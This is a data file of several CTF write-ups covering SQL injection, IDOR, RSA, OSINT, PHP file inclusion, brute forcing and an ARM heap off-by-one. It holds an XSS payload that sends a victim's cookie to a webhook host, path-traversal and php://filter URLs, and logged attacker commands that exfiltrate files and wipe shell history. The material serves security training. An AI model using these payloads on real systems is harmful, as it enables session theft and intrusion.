text_chunk
stringlengths 151
703k
|
|---|
## NoFlags> After hearing about all of the cheating scandals, clam decided to conduct a sting operation for ångstromCTF. He made a database of fake flags to see who submits them. Unbeknownst to him, a spy managed to sneak a real flag into his database. Can you find it?
This is easy challenge: We exploit sqli (stack queries) to write file on web server and trigger it to get RCE. (php file)Flag: `actf{why_do_people_still_use_php}` |
# Lots of Logs**Category**: Web
**Level**: Easy
**Points**: 175
**Description**:```markdownAs a professional logger, I made an extensive logger that logs all of the logs I log to the blog I blog so that no log goes unlogged. I post some logs to the log catalog on my log blog.
https://logs.sdc.tf/```
## Writeup
My teammate first started on this problem and did the initial recon on the website. On the front page were a few different posts about logs with links to raw logs. The links followed a predictable pattern - `https://logs.sdc.tf/logs/2022/3/9/Wed.log`. All you needed to do was guess a year, month, day, and day of the week to get a log. This is what's known as an IDOR vulnerability, or [Insecure Direct Object Reference vulnerability](https://portswigger.net/web-security/access-control/idor). This is what happens when a user-controlled parameter can give information about other objects than what they are intended to have access to. Imagine if a bank created accounts sequentially. If your account number is `123`, then you know that someone has account number `124`, and you can use that against them. Randomizing important information like that can help prevent IDOR vulnerabilities.
A typical log looks like this (except around 500 lines):
```Welcome to LoggerOS 11.02.3 (GNU/Linux 4.7.8-23-generic)
john@logger:~# ./logger
Wed 03/09 07:20:31 START : ************************** STARTING LOGGING **************************Wed 03/09 07:20:31 LOG : 0 logs logged!Wed 03/09 07:21:25 LOG : 13 logs logged!Wed 03/09 07:22:05 PROC : Processing 13 logs! Wed 03/09 07:22:45 LOG : 13 logs logged!Wed 03/09 07:23:31 LOG : 8 logs logged!Wed 03/09 07:24:23 LOG : 11 logs logged!Wed 03/09 07:25:08 SELL : Sold 13 logs for $96.00 each! ...Wed 03/09 01:08:58 LOG : 6 logs logged!Wed 03/09 01:09:53 LOG : 12 logs logged!Wed 03/09 01:10:44 STOP : ************************** STOPPING LOGGING **************************Wed 03/09 01:10:44 FIN : Sold 2352 logs for a total of $259272 profit!```
My teammate (@phishfood) wrote a script that would take a date, format according to the pattern used for the URL, and download a log. It would then repeat until it didn't find any more logs. He used [this link](https://www.adamsmith.haus/python/answers/how-to-iterate-through-a-range-of-dates-in-python) and [this link](https://docs.python.org/3/library/datetime.html#strftime-and-strptime-behavior) to figure out how to iterate through and format the dates. This is what it looked like:
```pythonimport datetime, requestsstart_date = datetime.date(2016, 10, 29)end_date = datetime.date(2022, 4, 20)delta = datetime.timedelta(days=1)while start_date <= end_date: month = int(start_date.strftime('%m')) day = int(start_date.strftime('%d')) path = start_date.strftime('%Y/' + str(month) +'/' + str(day) + '/%a.log') print(requests.get('https://logs.sdc.tf/logs/' + path).text) start_date += delta```
Once the script was running, he sent a zip folder of 1996 log files that each had hundreds of lines in them and said "If the flag is in here somewhere, that will suck" (yes, we tried `grep` first and got nothing). This is when I hopped on, got caught up with what he had done, and thought to myself, "It's time to abuse some regex". I wanted to know if ANY log was out of the ordinary; knowing CTF organizers, it could be after or before a regular line on some random date. So, I wrote some regular expressions that checked for every single "normal" line and filtered those out. It was a monster of a command but totally worked:
```bashcat all.log | grep -v "^Welcome to LoggerOS 11.02.3 (GNU/Linux 4.7.8-23-generic)$" | grep -v "^john@logger:~# ./logger$" | grep -vE "^[A-Z][a-z]{2} [0-9]{2}/[0-9]{2} [0-9]{2}:[0-9]{2}:[0-9]{2} LOG : [0-9]* logs logged\!$" | grep -vE "^[A-Z][a-z]{2} [0-9]{2}/[0-9]{2} [0-9]{2}:[0-9]{2}:[0-9]{2} PROC : Processing [0-9]* logs\!( [0-9]* logs still need processing)?" | grep -vE "^[A-Z][a-z]{2} [0-9]{2}/[0-9]{2} [0-9]{2}:[0-9]{2}:[0-9]{2} START : \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* STARTING LOGGING \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*" | grep . | grep -vE "^[A-Z][a-z]{2} [0-9]{2}/[0-9]{2} [0-9]{2}:[0-9]{2}:[0-9]{2} PROF : Profitted .[0-9]*\.[0-9]{2}! \(.[0-9]*\.[0-9]{2} total\)" | grep -vE "^[A-Z][a-z]{2} [0-9]{2}/[0-9]{2} [0-9]{2}:[0-9]{2}:[0-9]{2} SELL : Sold [0-9]* logs for .[0-9]*\.[0-9]{2} each\!( There are still [0-9]* unsold logs\!)?" | grep -vE "^[A-Z][a-z]{2} [0-9]{2}/[0-9]{2} [0-9]{2}:[0-9]{2}:[0-9]{2} STOP : \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* STOPPING LOGGING \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*" | grep -vE "^[A-Z][a-z]{2} [0-9]{2}/[0-9]{2} [0-9]{2}:[0-9]{2}:[0-9]{2} FIN : Sold [0-9]* logs for a total of .[0-9]* profit!"```
After taking an hour or so to make this command and filter out everything normal, I was left with some very interesting logs:
```john@logger:~# nc -l 1337 > exploitjohn@logger:~# chmod +x exploitjohn@logger:~# ./exploit# whoamiroot# lsexploit logs site# ls logs2016 2017 2018# tar -cf data.tar.gz ~/logstar: Removing leading `/' from member namestar: /home/john/data.tar.gz: file is the archive; not dumped# nc -l 1337 < data.tar.gz# rm -rf /home/john/logs/2018/6/10 /home/john/logs/2018/6/11 /home/john/logs/2018/6/12# rm data.tar.gz# mkdir /lib/network# nc -l 1337 > /lib/network/daemon# chmod +x /lib/network/daemon# /lib/network/daemonSuccess... running on port 1338# nc logger.sdc.tf 1338Pass: 82d192aa35a6298997e9456cb3a0b5dd92e4d6411c56af2169bed167b53f38dls /home/johnexploit logs site^C# rm exploit# echo "" > .bash_history# echo "" > ~/.bash_history# exit```
At this point, it was just a matter of repeating the commands above. I connected to `logger.sdc.tf` on port 1338 and typed in the password, to which I was greeted with the flag!
**Flag** - `sdctf{b3tr4y3d_by_th3_l0gs_8a4dfd}` |
```pythonfrom Crypto.Util.number import *
n = 133075794736862400686388110598570266808714052683651232655122797445099216964925703530068957607358890220696254013415564497625510160656547477386290353341301388957868030883484367150794172590602260618953020322190415128204088685449855108061423638905602604314199002557585876080719068735072138975699738144061697925373e = 65537c = 42999486939739078417543300759928045769347425010481921402117654240134870338470114310074441997014418414023223148236139895795053257877203574091454937566637813901960299427919263842462481370908334316720948794826158725807235252653149450622143783560995967869958852519888842457531188064386890082072803961804464549309phi = 133075794736862400686388110598570266808714052683651232655122797445099216964925703530068957607358890220696254013415564497625510160656547477386290353341301365877872031151018140890962539358215097403168452396402116271802269636497626498820406125901329433708704273662567430256232652048920492894069126553095462130720
d = inverse(e,phi)m = pow(c,d,n)print(long_to_bytes(m))
#actf{just_kidding_this_algorithm_wasnt_actually_randomly_sampled}```
Simple RSA |
This is an XSS challenge. Sign up and try to send yourself an XSS message:
There is a filter in place, so let's get around it. Let's try this payload: `<svg onload=alert("xss")//`<p align="center">
Sweet, let's read our messages to see if we successfully XSS ourselves:
Success!
Now we need to craft a payload that steals the admin user session cookie and bypass the filters in place. To receive back a request, I used https://webhook.site/ and received the following unique URL: `http://webhook.site/6db432a0-7984-4146-9fbc-d6278b9f865f`. There is a single period in the address. To get around this, I `ping webhook.site` to get the ip address (46.4.105.116). From here, we can [convert that ip address to hex](https://onlinehextools.com/convert-ip-to-hex), and we get `(0x2e046974)`. If you try going to http://0x2e046974, it will properly resolve to the correct ip address and hostname, which is neat. Our unique URL is now: http://0x2e046974/6db432a0-7984-4146-9fbc-d6278b9f865f.
Here is the XSS payload: `<svg onload=document['location']="http://0x2e046974/6db432a0-7984-4146-9fbc-d6278b9f865f/?c="+document['cookie']//`
Let's send it to the admin:<p align="center">
Let's check our webhook:
Sweet! We got a session cookie:`.eJwlzj0OwjAMQOG7ZGaInSaxe5nKvwKJqRET4u4UMb7pfe9y5BnrXvaU54pbOR5e9pIYBGOKVgo3wEmOtnUYDORs0TjRRaJnnyQtBrK4WVpvigltxIyxTQ6pfWMFSZ6eQL9Az6lIlbmrXZcW2kkHeMYwwlDFWi7Ia8X510D5fAFFYzCb.YiWMRg.092EULk8J3n8Q__eqbmFDDocCbY`
Let's set this as our session cookie value:
Reload the page, and voilà!
Click into `admin panel` and we have the flag!
|
# SDCTF 2022 OSINT Team: **WolvSec**
[**Part of the ship...** [76 solves]](https://github.com/drewd314/SDCTF-2022-OSINT-Writeups/blob/main/SDCTF2022OSINT.md#part-of-the-ship) [**Google Ransom** [155 solves]](https://github.com/drewd314/SDCTF-2022-OSINT-Writeups/blob/main/SDCTF2022OSINT.md#google-ransom) [**Samuel** [88 solves]](https://github.com/drewd314/SDCTF-2022-OSINT-Writeups/blob/main/SDCTF2022OSINT.md#samuel) [**Turing Test** [49 solves]](https://github.com/drewd314/SDCTF-2022-OSINT-Writeups/blob/main/SDCTF2022OSINT.md#turing-test) [**Paypal Playboy** [23 solves]](https://github.com/drewd314/SDCTF-2022-OSINT-Writeups/blob/main/SDCTF2022OSINT.md#paypal-playboy) [**Mann Hunt** [96 solves]](https://github.com/drewd314/SDCTF-2022-OSINT-Writeups/blob/main/SDCTF2022OSINT.md#mann-hunt)
## Part of the ship...Difficulty: **Easy** Authors: `Blarthogg` Points: **150** Solves: **76**
Challenge Description: Sometimes I worry about my friend... he's way too into memes, he's always smiling, and he's always spouting nonsense about some "forbidden app." I don't know what he's talking about, but maybe you can help me figure it out! All I know is a username he used way back in the day. Good luck! Flag format is sdctf{flag} **Username** DanFlashes
### Approach
I started off this challenge by looking up the username `DanFlashes` on different social media platforms to see if one was linked to SDCTF. I found one on Instagram, but it seemed unrelated to the competition. I went back to the prompt to see what other clues could lead us to this account. I decided to google “forbidden app” and found [urban dictionary definitions](https://www.urbandictionary.com/define.php?term=The%20Forbidden%20App) that this app is iFunny, and the definitions also mentioned being “part of the ship” (like the challenge name) so I figured this was the right social media.
Looking at DanFlashes [on iFunny](https://ifunny.co/user/DanFlashes), we see that this page does not exist. However, the challenge description states that this was “‘way back’ in the day” which hints that we should use the [Wayback Machine](https://web.archive.org/web/20220128003432/https://ifunny.co/user/DanFlashes) (always look for hints like these in OSINT challenges!). From this we can see a snapshot was taken January 28th of this year, which gives us the flag on DanFlashes' profile.
flag: `sdctf{morning_noon_and_night_I_meme}`
## Google RansomDifficulty: **Easy** Authors: `KNOXDEV` Points: **100** Solves: **155**
Challenge Description: Oh no! A hacker has stolen a flag from us and is holding it ransom. Can you help us figure out who created this document? Find their email address and demand they return the flag! **Attachments** [ransom letter](https://docs.google.com/document/d/1MbY-aT4WY6jcfTugUEpLTjPQyIL9pnZgX_jP8d8G2Uo/edit)
### Approach From the ransom letter, we see a cryptic note about someone threatening to sign their email up for an annoying newsletter. As threatening as this is, it doesn’t give us any information about who made this google doc. However, since it’s google there is likely a way to view the email of this account owner. I went to the “shared with me” section on google drive to get more information about the random letter. Looking at `Details`, we can see that the owner of the document is `Amy SDCTF`.
I could have used [GHunt](https://github.com/mxrch/GHunt) to get the exact email, but from the Turing Test challenge I assumed the email was in the same format as `[email protected]` and confirmed this on [epieos](https://epieos.com/). After sending `[email protected]` an email demanding the flag, we get a response giving it to us.
flag: `sdctf{0p3n_S0uRCE_1S_aMaz1NG}`
## SamuelDifficulty: **Medium** Authors: `k3v1n` Points: **88** Solves: **160**
Challenge Description: Where is this?https://www.youtube.com/watch?v=fDGVF1fK1cA
Flag format: sdctf{latitude,longitude} using decimal degrees and 3 decimal places rounded toward zero (Ex. 4.1239 → 4.123, -4.0009 → -4.000)
Example: If the location were https://goo.gl/maps/TnhzfxXKg9TDYDfR9 the flag would be sdctf{38.889,-77.035} **Note** The youtube channel/account is not relevant to this challenge. Only the video content is relevant.
### Approach The video linked shows us a blinking beacon at night, with a plane flying by in the distance. I initially thought this was an [Aviation OSINT](https://www.osintessentials.com/aviation) since the plane in the background was the only other thing in the video. I had no idea how to use the beacon or distant plane.
As the competition progressed, I saw that the challenge had a lot of solves and I figured it likely wasn’t some insanely hard Aviation OSINT. I then realized the blinking beacon was likely morse code. `.-- .... .- - / .... .- - .... / --. --- -.. / .-- .-. --- ..- --. .... -` translated to **WHAT HATH GOD WROUGHT**. After googling what that means, we learn it was [the official first Morse code message transmitted in the US](https://en.wikipedia.org/wiki/What_hath_God_wrought#:~:text=%22What%20hath%20God%20wrought%22%20is,the%20Baltimore%E2%80%93Washington%20telegraph%20line).
I thought then the location may be where the message was originally transferred or received, but couldn’t find anything there. I then just searched “What hath god wrought” on Google Maps and found a sculpture at the University of California San Diego. Seeing that the competition is hosted by San Diego State University, I assumed this was the right spot. From this we can get the coordinates on [Google Maps](https://www.google.com/maps/place/What+Hath+God+Wrought/@32.8751745,-117.2408527,21z/data=!4m5!3m4!1s0x80dc07e0d30e81a7:0x69087278617d6b1d!8m2!3d32.8752134!4d-117.2407749) in the url, and truncating 32.8751745,-117.2408527 to get the flag.
flag: `sdctf{32.875,-117.240}`
## Turing TestDifficulty: **Medium** Authors: `Blarthogg, KNOXDEV` Points: **200** Solves: **49**
Challenge Description: My friend has been locked out of his account! Can you help him recover it? **Email** `[email protected]` **Website** https://vault.sdc.tf/ **Note** Twitter does not need to be used for this challenge.
### Approach My first step in this challenge was going to the website, and started spamming random passwords to see what would happen. After 5 incorrect guesses, an `Account Support` window is prompted. We are then asked security questions to get back into our account (as well as bread puns).
For the first prompt, we are asked our name. We can use [epieos](https://epieos.com/) on Jack’s email to find his name is Jack Banner.
Next we are prompted with “What month were you born in?” I wasn't sure if you were supposed to brute force this but figured since it was an OSINT challenge thre would be a social media account. Epieos showed Jack’s email as being connected to a Twitter, but luckily the challenge admin noticed this as well and added a disclaimer that twitter does not need to be used. What could have happened is someone else registered an account with that email, which admins have to be prepared to fix for these kinds of challenges. I tried other social media platforms, and specifically ones that I did not explore yet. OSINT categories usually try to avoid using the same platform twice. Looking up “Jack Banner” on Facebook, we see [the account](https://www.facebook.com/profile.php?id=100077609021228) we are looking for.
The first post we can use to find his birthday by a quick google search of “99 days before april 19” giving us their birthday of January 10th.
The next prompt is “What is the name of your dog?” Looking around more on their facebook, we see an instagram for their dog linked in the Intro section. Something I learned from this challenge is that this can **only be seen if you are logged into Facebook**, so for some OSINT challenges you may need to be logged in. Although for regular OSINT gathering usually you don’t want to alert the person you are looking at, such as on LinkedIn. On the Instagram account we see that the dog’s name is Ravioli.
The final prompt is “What are the first six characters of your flag?” which is `sdctf{` for this CTF. This lets us access the flag vault and get the flag.
flag: `sdctf{7he_1m1747i0n_94m3}`
## Paypal PlayboyDifficulty: **Hard** Authors: `Blarthogg` Points: **300** Solves: **23**
Challenge Description: We've apprehended somebody suspected of purchasing SDCTF flags off an underground market. That said, this guy is small fry. We need to find the leaker and bring them to brutal justice!
Attached is an email we retrieved from his inbox. See if you can't figure out the boss of their operation. Flag format is sdctf{...} **mbox** [Click here to download](https://github.com/drewd314/SDCTF-2022-OSINT-Writeups/blob/main/mbox) **Note** You should not have to spend any money to solve this challenge **Note** If you encounter an email not in the format of `[name][email protected]` it is not in the challenge scope.
### Approach The [mbox](https://github.com/drewd314/SDCTF-2022-OSINT-Writeups/blob/main/mbox) file contains an email from `[email protected]` about "cheap sdctf banners". I used [epieos](https://epieos.com/) to see more information about that email, but it doesn't exist. I then wanted to see what `支付.png` (payment.png) was. Using a [base64 to image converter](https://codebeautify.org/base64-to-image-converter), we get a qr code that leads to [this Cash App](https://cash.app/$limosheen?qr=1).
The username on Cash App is `limosheen`. I first used [Sherlock](https://github.com/sherlock-project/sherlock) to look for accounts connected to that username but couldn’t find anything. I looked back at the email for more information that we could use to find limosheen.
I decoded the plaintext section of the email with base64 and utf-8, then ran it through Google Translate:
``Cheap banner for the San Diego Cybersecurity Games. Be the winner of SDCTF. fast and convenient. Click below. Cheap banner for the San Diego Cybersecurity Games. Be the winner of SDCTF. fast and convenient. Click below. Cheap banner for the San Diego Cybersecurity Games. Be the winner of SDCTF. fast and convenient. Click below. You can also find us on PayPal or on the blockchain. 0xbad ... A43B ..... SDCTF {Forgery_bana} 3️⃣ ✳ ✳️ ? ? ? ? ? ? ? ? ❇ ❇ ❇️ ⬇ ?️ ? ↘️ ? ? ? ◾️ ? ? ? ✳️ ? ? ? ? ♓️ ? ?``
This note says we also find them on PayPal. When searching for limosheen on PayPal, we can see that there exists an account with the SDCTF logo. The challenge description said "You should not have to spend any money to solve this challenge", although some people still sent the account money but received nothing :(. After some research I learned about paypal.me accounts which give more information about a user. Going to [limosheen’s profile](https://www.paypal.com/limosheen), we find this:
I saw a string on this that started with 0x and incorrectly thought it was a hex string by default, and decoding it gave nothing. I eventually learned it was an Ethereum address by just googling and inputting the address into crypto websites. In hindsight I should have definitely realized this sooner with the plaintext saying we can also find them on the blockchain, and the ropETH comment on the PayPal. When looking up the address on [Etherscan](https://etherscan.io/address/0xBAd914D292CBFEe9d93A6A7a16400Cb53319A43B) we find that the address is valid, but no entries are found.
I thought that this was a dead end at first and started doing reverse image searches and forensics on the PayPal banner, but did not get any results. I looked back at the Ethereum address and figured there must be a reason that it’s there. On Etherscan there is a notification saying that the address can be found on other chains, and sure enough we see that it’s on the Ropsten Testnet.
I tried googling the “ropETH” hint from the PayPal prior but must have done so poorly since I could not find Ropsten Testnet, but it at least confirmed we were in the right place now. We see Ethereum was transferred to ` 0x949213139D202115c8b878E8Af1F1D8949459f3f`, and this address has only inbound transfers, so it can be assumed that this is the boss we are looking for.
The PayPal account said we could find the boss on Twitter, so I put this address into twitter and found the account [Jon Fakeflag](https://twitter.com/wrestling_wave_).
From this account we get a base64 string that gives us the flag.
flag: `sdctf{You_Ever_Dance_With_the_Devil_In_the_Pale_Moonlight}`
## Mann HuntDifficulty: **Hard** Authors: `KNOXDEV` Points: **400** Solves: **96**
Challenge Description: We were on the trail of a notorious hacker earlier this week, but they suddenly went dark, taking down all of their internet presence...All we have is a username. We need you to track down their personal email address! It will be in the form `****[email protected]`. Once you find it, send them an email to demand the flag! **Username** `mann5549`
### Approach After a quick search for mann5549 we find that they have a Twitter.
I tried using the [Wayback Machine](https://archive.org/web/) on this Twitter but could not find anything useful. I went to the website linked on Twitter where we find this message stating that we will never find this user.
Wayback Machine does not prove to be useful here either, so I looked at the source code of the website and found a link to a [GitHub repository](https://github.com/manncyber/manncodes.github.io) for the website.
```…name="description" content="Contribute to the blog at https://github.com/manncyber/manncodes.github.io"/><meta data-react-helmet="true" property="og:title"...```
In this repository we can see a commit that manncyber made removing certain data because he was being tracked. My first thought was maybe they used their email in this commit, so I added `.patch` to the end of the commit url but they used a standard GitHub email for this.
Here is where I started overthinking the challenge and tried a couple of dead end routes. I saw an image called `salty_egg` was removed in this commit, and when reverse image searvching it I was lead to this [Wikipedia article](https://en.wikipedia.org/wiki/Salted_duck_egg). I spent a long time looking through the editing history profiles and IPs before realizing the image was a [stock template](https://github.com/gatsbyjs/gatsby-starter-blog/blob/master/content/blog/hello-world/index.md) for Gatsby.
In this commit history we can also see that the blog author’s name `Emanuel Hunt` was removed. I initially looked on [epieos](https://epieos.com/) to see if `[email protected]` or `[email protected]` were valid emails, but they were not. I finally just googled “Emanuel Hunt” (which I should have done initially) and was immediatley shown a search result for an Emanuel Hunt from San Diego on [LinkedIn](https://www.linkedin.com/in/emanuel-hunt-34749a207/).
<img src="https://user-images.githubusercontent.com/74334127/167732744-19ae3a38-58fb-42dd-a0c6-6b4c3ab151bc.png" width=60% height=60%>
If we go to the resume that is linked, the email is unfortunately blanked out. However, if we hover over Emanuel Hunt’s profile picture on the right hand side the email `[email protected]` is shown.
This email is fairly simple to guess and some people may have done that initially. Sending them an email demanding the flag we get this response:
flag:`sdctf{MaNN_tH@t_w@s_Ann0YinG}`
|
We're given the hint "robots will rule the world" - I immediately get the idea to head to `/robots.txt` on the site. We see a page called `flag.php`. Upon heading to it, it asks "How do you filter your coffee?"
This took me some time to think about, but I eventually saw that the CTF organizer had given a hint in Discord saying it's a local file inclusion vulnerability. I searched for things like "lfi filter php" and so on, and that's when I learned about something called `php://filter`.
I wasn't sure how to proceed from here, so I went back to the website. I realized that the site template was from PHPJabbers, so I downloaded the template to see if I would find anything interested. However, it was just a plain HTML template, and I didn't think it would be relevant.
Then, mostly out of boredom, I clicked around the site and ended up on `http://ez.ctf.cafe:9999/blog-posts.php?file=blog1.html`. I changed blog1.html to `../../../etc/passwd` and it worked! This made me think back to filtering, and I decided to filter `flag.php` into base64 like this: `http://ez.ctf.cafe:9999/blog-posts.php?file=php://filter/convert.base64-encode/resource=flag.php`
We get the output of a base64 string containing this: `PD9waHAKCWVjaG8gJ0hvdyBkbyB5b3UgZmlsdGVyIHlvdXIgY29mZmVlPyc7ICAgIAoJLy8gRVotQ1RGe0xGSV8xU18zWn0KPz4K`
Now, I go to cyberchef.org and enter the string and we get an output containing the PHP file's contents, which includes a comment with our flag:
```
```
This theoretically may have allowed remote code execution, as due to the PHP version being outdated, a workaround existed that would bypass the site preventing the loading of code from other websites. However, I wasn't interested in trying to exploit this, and I feel that it's unnecessary and certainly isn't the point of the challenge. |
For a better view check our [githubpage](https://bsempir0x65.github.io/CTF_Writeups/AngstromCTF_2022/#uninspired) or [github](https://github.com/bsempir0x65/CTF_Writeups/tree/main/AngstromCTF_2022#uninspired) out
So for this challenge we actually used binary ninja as a starting point.
So we can already see that we have a loop and some if clauses here. So for better reading, we put the output here with our comments:
So the rest of the binary we did not figured out to what the loop is for. Probably we could have but meh we tought why not programm a brute forcer for this ? Maybe not the best idea if you have to guess a 10 digit number. So we did:
```python#!/usr/bin/python
import sysfrom pwn import *
runvar = int(sys.argv[1])checksolution = ("yay I\'m inspired now, have a flag :)\n").encode('utf-8')endrunvar = runvar + 1125000000
elf = ELF('./uninspired')
while runvar < endrunvar:
io = elf.process()
print(io.recvline(timeout=2))
sendvar = (str(runvar) + "\n").encode('utf-8')
io.sendline(sendvar)
print (runvar)
if io.recvline(timeout=2) == checksolution: print(runvar) break else: print("nope")
io.close()
runvar = runvar + 1
print("welcome to the end")```So you can see that we made the script in mind to run on multiple cores. Since we let it run for 10 minutes we saw that this will maybe not work out ((┌|o^▽^o|┘))♪ . We also saw that despite we closed the binary all the time we had a memory leakage issue here too. So in the end we did not solved the task.But after this CTF we found a writeup by TheBadGod [https://github.com/TheBadGod/Angstrom22-Writeups/tree/main/uninspired](https://github.com/TheBadGod/Angstrom22-Writeups/tree/main/uninspired) which brought us the solution 6210001000. So we put that number into our script and it worked ( ・・)つ-●●●.
```console└─$ ./solution_multirun.py 6210000999[*] 'uninspired' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled[+] Starting local process 'uninspired': pid 2469b"there's no more inspiration :(\n"6210000999[*] Process 'uninspired' stopped with exit code 1 (pid 2469)nope[+] Starting local process 'uninspired': pid 2471b"there's no more inspiration :(\n"6210001000[*] Process 'uninspired' stopped with exit code 0 (pid 2471)6210001000welcome to the end```So we got the solution number too which brings us the flag:
```console└─$ ./uninspired there's no more inspiration :(6210001000yay I'm inspired now, have a flag :)actf{ten_digit_numbers_are_very_inspiring}``` |
# Writeup of armutism challenge from VolgaCTF 2022
TLDR: 32-bit little endian ARM challenge with uClibc libc implementation off-by-one error that leads to a four-byte overwrite on the heap.
Writeup author: [adamd](https://adamdoupe.com)
Exploit Script: [x.py](./armutism/src/build/x.py)
The challenge description given is the following:
```Have I caught armutism??????????
nc armutism.q.2022.volgactf.ru 41337```
The challenge also gives us a `.zip` file that has the `Dockerfile` necessary to build the challenge.
Unfortunately, the structure of the `.zip` file doesn't correspond to the `Dockerfile`, so the first step is to change the layout to be what the `Dockerfile` expects.
## Running
In this repo I have the fixed directory structure [./armutism](./armutism) so that you can run/build the given [Dockerfile](./armutism/Dockerfile).
Build it run it locally with the following:
```bashcd armutismdocker build . -t armutismdocker run --rm -p 1337:1337 -it armutism```
Now you should be able to access the challenge:
```bashnc localhost 1337```
Rest of the write-up will contain spoilers on how to solve the challenge.
## Prep
First thing is to create a patched version of the binary so that we can run it locally using the given libc and ld:
```bashcp ./armutism ./armutism-patchedpatchelf --set-interpreter "./ld-uClibc.so.0" ./armutism-patchedpatchelf --set-rpath "." ./armutism-patched```
Next, use [pwntools](https://docs.pwntools.com/en/stable/index.html)' `checksec` to see what pwn defenses are in place.
```bash❯ checksec ./armutism[*] armutism Arch: arm-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x10000) RWX: Has RWX segments```
So this tells us that it's a ARM binary (little endian), but with no protections: stack has no canary, NX is disabled, no PIE, and has RWX segments (hopefully the stack).
Now, we need to understand what `libc` version we're dealing with.
The first hint that this isn't our normal `libc` is that the given `ld` binary is called `ld-uClibc.so.0`!
A quick google search finds that this is [µClibc (uClibc)](https://www.uclibc.org), which looks to be a libc that's a drop-in replacement for glibc for embedded systems.
At this point we should also note that the last µClibc release was in 15 May 2012, and there's a [uClibc-ng](https://uclibc-ng.org) which is actively maintained. If it turns out that we need to understand this libc (which is likely, because why else would the challenge author use a non-standard libc?), then we'll need to figure out exactly which version is used.
## What is it?
The challenge seems simple enough in terms of functionality.
The binary first leaks out a pointer (from IDA this turns out to be a stack variable).After some experimentation, we see important properties:
1. The remote instance always returns the same value `0x40800c1c` (No ASLR).2. Our local docker instance always returns the same value `0x40800c1c`, and this value is the same as the remote instance (If we get expoit working against local docker instance then likely it will work on remote).3. Our local instance (Ubuntu 18.04) ran with `qemu-arm ./armutism-patched` always returns the same value `0xfffed0ac`, but this is **different** than the docker or the remote (We can dev some of the exploit on local, but we will need to verify on remote).
Then gives us a CLI menu:
```1. Malloc2. Exit>>>```
Kinda nice that this is straightforward (perhaps), and it's important to note that this is rather unlike most heap challenges, as there doesn't appear to be any `free` functionality! We'll need to verify while reversing.
If we ask to `malloc`, then it will ask us to `Input your size:`.
If we input something small like `2`, it will then ask us to `Input numbers:`.
Now at this point it will **accept `3` numbers**. When approaching the challenge, I actually didn't realize this clear off-by-one vulnerability, I only discovered that through reversing.
## Reversing
Very simple binary, there's essentially only a `main` function.
`main` first calls `setup`, which just does `setvbuf` to disable buffering so that the program can be used over the network (standard CTF challenge stuff here, so we can ignore it).
After a brief reversing, we have the following decompilation of the `main` function:
```Cint __cdecl main(int argc, const char **argv, const char **envp){ int size; // [sp+0h] [bp-14h] BYREF int input; // [sp+4h] [bp-10h] BYREF int *v6; // [sp+8h] [bp-Ch] int i; // [sp+Ch] [bp-8h]
setup(); input = 0; printf("%p\n", &input); while ( 1 ) { write(1, "1. Malloc\n2. Exit\n>>> ", 0x16u); input = 0; scanf("%d", &input); if ( input != 1 ) break; size = 0; puts("Input your size:"); scanf("%d", &size); v6 = (int *)malloc(4 * size); if ( size <= 99 ) { puts("Input numbers:"); for ( i = 0; i <= size; ++i ) scanf("%d", &v6[i]); } } return 0;}```
This confirms our hunch based on interaction that there are no `free`s in the program!
Other important things to note just about functionality that will be useful for exploitation:
1. The `size` that we put in is _not_ bytes, it's number of integers (so `size*4` is what's allocated).2. If `size` is > 100, then it will not ask for our input, but it will `malloc`! This should stand out in our mind as it's quite different than a normal heap-style CTF challenge that always asks you to fill the memory that you allocate.
## Vulnerability
And finally, I spot the bug:
```C for ( i = 0; i <= size; ++i ) scanf("%d", &v6[i]);```
This should be `i < size` not `i <= size`, which means that this allows us to write 4 bytes after an allocated heap chunk!
## Exploitation
Now, how do we turn this into an exploit to read `/tmp/flag.txt` (the location of the flag we get from the `Dockerfile`)? Note that it's always important to understand the goals of exploitation (even if you may not yet understand the steps to get there).
The key question here is how does `µClibc` allocate memory and how can we use the 4 byte overwrite to control things.
We _could_ start reversing the `libc.so.0` that was given to us to understand the allocator.But why do that if we can understand from source code?
Executing `libc.so.0` with `qemu-arm` doesn't tell us the version.Next we try `strings ./libc.so.0 | less` and manually look for something that looks like a version number.
`NPTL 0.9.33` stands out, particularly because the latest `µClibc` version on the website is 0.9.33.2.
However, I personally like to verify this information (to avoid investing time in understand something that doesn't matter to this challenge), so I explored the [uClibc source code](https://git.uclibc.org/uClibc/tree/) to try and understand where the version goes in the binary.
The search leads us to find that this is indeed the exact version: https://git.uclibc.org/uClibc/tree/libc/unistd/confstr.c#n53
Now we can look at the actual source code!
```bashgit clone git://uclibc.org/uClibc.gitcd uClibcgit checkout v0.9.33```
At this point I get stuck for about 45 minutes going down the wrong path!Turns out that there's _three_ different `malloc` implementations in `uClibc` that can be chosen at compilation time.
What I personally learned from this experience is that when I think that I have source code, I should also verify that the source code corresponds to the binary!
This is ultimately how I found the discrepancy, as I found a way forward for exploitation, then saw a symbol in the binary code that wasn't present in the source code directory!So I zoomed back out and realized that there's three libc implementations.
Turns out that the challenge uses [malloc-standard](https://git.uclibc.org/uClibc/tree/libc/stdlib/malloc-standard), which is very very close to the glibc malloc implementation (in terms of chunks), but, as it turns out, without many of the security checks!
Another very nice side-effect of using an almost glibc-compatible malloc was that [`gef`](https://gef.readthedocs.io/en/master/)'s [heap commands](https://gef.readthedocs.io/en/master/commands/heap/) would mostly work to examine the state of the heap.
### Local Debugging
Local debugging is actually very easy since the challenge runs the binary with `qemu-arm` (which I haven't used before, but was easy to figure out through googling):
One terminal:```bashqemu-arm -g 1234 ./armutism-patched```
Second terminal:```bashgdb-multiarch ./armutism-patchedtarget remote localhost:1234```
### Heap Exploitation
After understanding the uClibc malloc-standard implementation, and particularly [the heap chunk structure](https://git.uclibc.org/uClibc/tree/libc/stdlib/malloc-standard/malloc.h#n403), we realize that the next four bytes after our chunk is the size of the next chunk:
``` An allocated chunk looks like this:
